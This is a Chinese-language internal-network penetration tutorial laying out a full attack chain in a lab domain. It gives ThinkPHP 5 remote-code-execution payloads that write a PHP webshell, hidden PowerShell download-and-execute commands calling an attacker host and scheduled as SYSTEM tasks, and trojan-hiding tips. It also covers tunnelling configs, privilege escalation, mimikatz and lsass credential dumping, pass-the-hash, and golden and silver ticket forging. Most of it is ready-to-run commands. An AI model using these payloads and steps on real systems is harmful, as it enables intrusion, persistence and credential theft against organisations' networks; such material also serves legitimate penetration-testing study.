内网渗透初探(二) | 内网渗透全过程重新学习
字数 1668 2025-08-25 22:59:09

内网渗透技术详解

一、前言

本文档详细整理了内网渗透的完整流程和技术要点,从外网打点到内网横向移动,再到权限维持和提权技术,涵盖了内网渗透的核心知识点。

二、环境介绍

典型内网渗透环境包括:

  • 外网Web服务器(ThinkPHP 5)
  • 内网域环境(域控、域主机1、域主机2)
  • 攻击路径:外网打点→内网穿透→进入域内→攻击域主机→拿下域控

三、外网打点

1. ThinkPHP 5漏洞利用

漏洞检测

http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

系统识别

http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ipconfig

写入Webshell

http://192.168.31.32/public/index.php?s=captcha
[post]_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_REQUEST[1])?>" > 123.php

2. 后门植入与C2上线

  1. 测试Webshell执行:http://192.168.31.32/public/123.php?1=phpinfo();
  2. 使用蚁剑连接Webshell
  3. 上传CS木马并执行

四、权限维持技术

1. C2通信设置

  • 默认通信间隔:60秒
  • 推荐设置:sleep 2(平衡响应速度和隐蔽性)

2. 进程迁移

  1. 查看进程列表
  2. 选择稳定进程注入(如explorer.exe)
  3. 通过inject命令注入

3. 启动项维持

方法1:启动文件夹

copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

隐蔽技巧

  • 将木马隐藏在其他目录,命名为win.exe或system.exe
  • 在启动文件夹放置快捷方式

4. 计划任务维持

生成Powershell上线命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))"

创建计划任务

schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx:10081/a''))'" /ru system /f

其他触发条件

  • /sc onlogon - 用户登录时启动
  • /sc onstart - 系统启动时启动
  • /sc onidle - 系统空闲时启动

五、主机信息收集

基础信息收集命令

systeminfo                  # 主机信息
ipconfig /all               # 网络信息
arp -a                      # 路由表
tasklist                    # 进程列表(查杀软)
netstat -ano                # 端口占用
net user /domain            # 是否域环境
ping baidu.com -n 2         # 是否出网

浏览器密码提取

使用工具:BrowserGhost

六、隧道搭建技术

1. EarthWorm (EW) 隧道

服务端

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

客户端

execute "E:\path\ew.exe" -s rssocks -d xx.xx.xx.xx -e 8888

2. FRP 隧道

服务端配置 (frps1.ini)

[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123

客户端配置 (frpc.ini)

[common]
server_addr = IP
server_port = 7080
token = admin123
tls_enable = true
pool_count = 5

[plugin_socks]
type = tcp
remote_port = 4567
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true

七、横向移动技术

1. 数据库提权

MySQL提权步骤

  1. 获取数据库路径:select @@datadir;
  2. 修改日志路径
  3. 写入Webshell:
select '<?php eval($_REQUEST[1]); ?>' into outfile 'C:/path/123.php';

2. 提权技术

(1) 内核提权

补丁查询方法

systeminfo | findstr KB
wmic qfe get caption,description,hotfixid,installedon

在线查询资源

  • http://bugs.hacking8.com/tiquan/
  • https://i.hacking8.com/tiquan/
  • http://blog.neargle.com/win-powerup-exp-index/

(2) Potato提权

potato.exe -p "需要执行的命令"

(3) 可信任服务路径漏洞

漏洞检测

wmic service get displayname,startmode,pathname | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

利用方法
在服务路径的上级目录放置同名恶意程序

(4) 计划任务提权

schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "C:\cmd.exe" /ru system /f

(5) PsExec提权

psexec.exe -sid cmd.exe

八、内网信息收集

1. 基础信息收集

whoami /user && whoami /priv  # 当前权限
ipconfig /all                 # 网络配置
arp -a                        # ARP缓存
netstat -ano                  # 端口连接
systeminfo                    # 系统信息

2. 域内信息收集

net config workstation        # 当前登陆域
net user /domain              # 域用户列表
net user xxx /domain          # 指定域用户详情
net time /domain              # 域控制器
wmic useraccount get /all     # 域用户详细信息
nltest /DCLIST:god            # 域控制器主机名

3. 域控制器定位

ping xxx.cool -n 2
ipconfig /all                 # 查看DNS服务器
nslookup -type=all _ldap._tcp.dc._msdcs.<域名>

4. 存活主机探测

Netbios协议探测

nbtscan-1.0.35.exe 192.168.30.0/24

ICMP协议探测

for /l %i in (1,1,255) do @ping 192.168.30.%i -w 1 -n 1|find /i "ttl="

ARP协议探测

arp-scan.exe -t 【ip/ip段】

九、凭证获取技术

1. Hash获取方法

(1) SAM文件导出

reg save hklm\system system.hive
reg save hklm\sam sam.hive

使用mimikatz解析:

lsadump::sam /sam:C:/1/sam.hive /system:C:/1/system.hive

(2) Mimikatz直接获取

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

(3) Procdump + Mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp

解析dump文件:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

(4) Powershell脚本

IEX(New-Object Net.WebClient).DownloadString("http://vps-ip:4545/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

十、横向移动技术

1. Pass-the-Hash (PTH) 攻击

(1) Mimikatz PTH

sekurlsa::pth /user:administrator /domain:"xxx.cool" /ntlm:f1de694efa543bb780da59c049541ea3

(2) CrackMapExec

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x whoami

(3) Impacket工具包

wmiexec.py

python3 wmiexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

psexec.py

python3 psexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

smbclient.py

python3 smbclient.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 xxx.cool/Administrator@192.168.30.128

十一、票据传递攻击 (PTT)

1. MS14-068漏洞利用

获取用户SID

whoami /all
# 示例:xxx\web S-1-5-21-3296092892-1320626564-2720975204-1105

生成票据

ms14-068.exe -u web@xxx.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd

注入票据

kerberos::purge
kerberos::ptc TGT_xxx@domain.cache

2. 黄金票据攻击

获取krbtgt的Hash

lsadump::dcsync /user:krbtgt

制作黄金票据

kerberos::golden /admin:administrator /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

注入票据

kerberos::purge
kerberos::ptt administrator.kiribi

3. 白银票据攻击

获取必要信息

  • 域SID
  • 目标服务器主机名
  • 服务类型
  • NTLM Hash

生成白银票据

kerberos::golden /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:AD.xxx.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:admin123 /ptt

十二、参考资源

  1. BrowserGhost - 浏览器密码提取工具
  2. EarthWorm - 内网穿透工具
  3. FRP - 反向代理工具
  4. Windows提权漏洞索引
  5. Windows提权Exp集合
  6. Impacket - 网络协议工具包
  7. MS14-068漏洞利用工具
内网渗透技术详解 一、前言 本文档详细整理了内网渗透的完整流程和技术要点,从外网打点到内网横向移动,再到权限维持和提权技术,涵盖了内网渗透的核心知识点。 二、环境介绍 典型内网渗透环境包括: 外网Web服务器(ThinkPHP 5) 内网域环境(域控、域主机1、域主机2) 攻击路径:外网打点→内网穿透→进入域内→攻击域主机→拿下域控 三、外网打点 1. ThinkPHP 5漏洞利用 漏洞检测 : 系统识别 : 写入Webshell : 2. 后门植入与C2上线 测试Webshell执行: http://192.168.31.32/public/123.php?1=phpinfo(); 使用蚁剑连接Webshell 上传CS木马并执行 四、权限维持技术 1. C2通信设置 默认通信间隔:60秒 推荐设置: sleep 2 (平衡响应速度和隐蔽性) 2. 进程迁移 查看进程列表 选择稳定进程注入(如explorer.exe) 通过 inject 命令注入 3. 启动项维持 方法1:启动文件夹 隐蔽技巧 : 将木马隐藏在其他目录,命名为win.exe或system.exe 在启动文件夹放置快捷方式 4. 计划任务维持 生成Powershell上线命令 : 创建计划任务 : 其他触发条件 : /sc onlogon - 用户登录时启动 /sc onstart - 系统启动时启动 /sc onidle - 系统空闲时启动 五、主机信息收集 基础信息收集命令 浏览器密码提取 使用工具: BrowserGhost 六、隧道搭建技术 1. EarthWorm (EW) 隧道 服务端 : 客户端 : 2. FRP 隧道 服务端配置 (frps1.ini) : 客户端配置 (frpc.ini) : 七、横向移动技术 1. 数据库提权 MySQL提权步骤 : 获取数据库路径: select @@datadir; 修改日志路径 写入Webshell: 2. 提权技术 (1) 内核提权 补丁查询方法 : 在线查询资源 : http://bugs.hacking8.com/tiquan/ https://i.hacking8.com/tiquan/ http://blog.neargle.com/win-powerup-exp-index/ (2) Potato提权 (3) 可信任服务路径漏洞 漏洞检测 : 利用方法 : 在服务路径的上级目录放置同名恶意程序 (4) 计划任务提权 (5) PsExec提权 八、内网信息收集 1. 基础信息收集 2. 域内信息收集 3. 域控制器定位 4. 存活主机探测 Netbios协议探测 : ICMP协议探测 : ARP协议探测 : 九、凭证获取技术 1. Hash获取方法 (1) SAM文件导出 使用mimikatz解析: (2) Mimikatz直接获取 (3) Procdump + Mimikatz 解析dump文件: (4) Powershell脚本 十、横向移动技术 1. Pass-the-Hash (PTH) 攻击 (1) Mimikatz PTH (2) CrackMapExec (3) Impacket工具包 wmiexec.py : psexec.py : smbclient.py : 十一、票据传递攻击 (PTT) 1. MS14-068漏洞利用 获取用户SID : 生成票据 : 注入票据 : 2. 黄金票据攻击 获取krbtgt的Hash : 制作黄金票据 : 注入票据 : 3. 白银票据攻击 获取必要信息 : 域SID 目标服务器主机名 服务类型 NTLM Hash 生成白银票据 : 十二、参考资源 BrowserGhost - 浏览器密码提取工具 EarthWorm - 内网穿透工具 FRP - 反向代理工具 Windows提权漏洞索引 Windows提权Exp集合 Impacket - 网络协议工具包 MS14-068漏洞利用工具